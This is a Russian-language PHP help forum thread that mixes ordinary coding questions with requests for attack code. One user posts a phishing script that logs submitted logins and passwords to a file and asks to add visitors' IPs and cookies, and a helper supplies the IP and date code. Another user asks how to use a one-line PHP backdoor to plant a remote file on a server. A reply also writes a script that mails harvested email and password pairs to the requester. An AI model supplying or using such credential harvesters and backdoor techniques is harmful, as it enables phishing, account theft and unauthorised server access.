Потому что strpos возвращает или позицию в int или false в boolean. Правильно так: Code: foreach($mas as $m) { if (strpos($m,"showthread") !== false) { echo $m, "<br>"; } }
В языковой конструкции 'echo' необязательно использовать конкатенацию(точку). Вполне правильным также будет передать список аргументов через запятую.
Привет , как добавить в код чтоб был IP посетителя и дата?И можно ли чтоб еще куки собрал и чтоб разделения в логе - 1) 2) между логами было примерно - 1) 14.02.2020 5:30AM Login:Vasya, Pass:123456, IP123456 2) 14.02.2020 6:30AM LoginETYA, Pass:123456, IP654321 <?PHP $Log = $_POST['login']; $Pass = $_POST['password']; $log = fopen("database.txt","at"); fwrite($log,"\n $Log:$Pass \n"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://huishu.com'></head></html>"; ?>
lgs, Получение Ip-адреса: Code: if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } Получение даты: Code: // Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the // Mountain Standard Time (MST) Time Zone $today = date("F j, Y, g:i a"); // March 10, 2001, 5:16 pm $today = date("m.d.y"); // 03.10.01 $today = date("j, n, Y"); // 10, 3, 2001 $today = date("Ymd"); // 20010310 $today = date('h-i-s, j-m-y, it is w Day'); // 05-16-18, 10-03-01, 1631 1618 6 Satpm01 $today = date('\i\t \i\s \t\h\e jS \d\a\y.'); // it is the 10th day. $today = date("D M j G:i:s T Y"); // Sat Mar 10 17:16:18 MST 2001 $today = date('H:m:s \m \i\s\ \m\o\n\t\h'); // 17:03:18 m is month $today = date("H:i:s"); // 17:16:18 $today = date("Y-m-d H:i:s"); // 2001-03-10 17:16:18 (the MySQL DATETIME format)
php7 Сессии, так, запись с get-запроса в сессию: Code: if (!session_id()) { ini_set('session.gc_maxlifetime', 10800); @session_cache_limiter('private, must-revalidate'); //private_no_expire @session_cache_expire(0); @session_set_cookie_params(3600); @session_start(); } if (isset($_GET['ref'])) { $_SESSION['referall'] = (string) $_GET['ref']; }
если я знаю, что по адресу http://domain.ru/sc.php лежит бэкдор PHP: <?php $_REQUEST['f']($_REQUEST['c']); ?> что я должен ввести в адресной строке, чтобы залить на сервер файл http://thai.by/12.txt ?
Помогите безграмотному написать php-скрипт, который отправит на мой ящик введенные данные с html-страницы ниже и переадресует на любую страницу Спасибо! HTML: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> </head> <body> <form action="action_form.php" method="POST"> <p>Ваш e-mail: <input type="text" name="login" size="30" maxlength="50" value="[email protected]"> </p> <p>Пароль: <input type="password" name="password" size="30" maxlength="50"> </p> <input type="submit"> </form> </body> </html>
Работа с почтой довольно затруднительный процесс для новичка. Зачастую хостинги блокируют порты для защиты от спама, нужно просить разблокировать, либо, как вариант, использовать msmtp. Если с конфигами всё ок, то скрипт должен выглядеть примерно так: action_form.php PHP: <?phpif(isset($_POST['login'])){ $to = '[email protected]'; $subject = 'New user registered'; $message = htmlspecialchars($_POST['login'].':'.$_POST['password']); $headers = array( 'From' => '[email protected]' ); mail($to, $subject, $message, $headers);}header('Location: https://sitename.ru/thanks');exit;?> Но лучше заморочиться и использовать PHPMailer или что-то подобное.
Приветствую. Жив ли еще модератор? Есть ли в пхп функция для сравнения двух строк (растояние сколько символов нужно поменять чтобы первая строка была такой же как вторая)?
Привет. Не могу решить проблему. proc_open запускает PHP скрипт, который должен подключится к бд и работать с ним. Процесс запускается как демон через nohup в линукс и start /b в виндовс. Процесс успешно запускается но при подключении к бд выдаётся ошибка 2002 (неизвестная ошибка или нет работающего сервера бд на данном порту). Не могу понять причину. Все env данные копируются. Symfony 6, Process. Скрипт является командой Symfony. PHP 8.1. Mariadb 9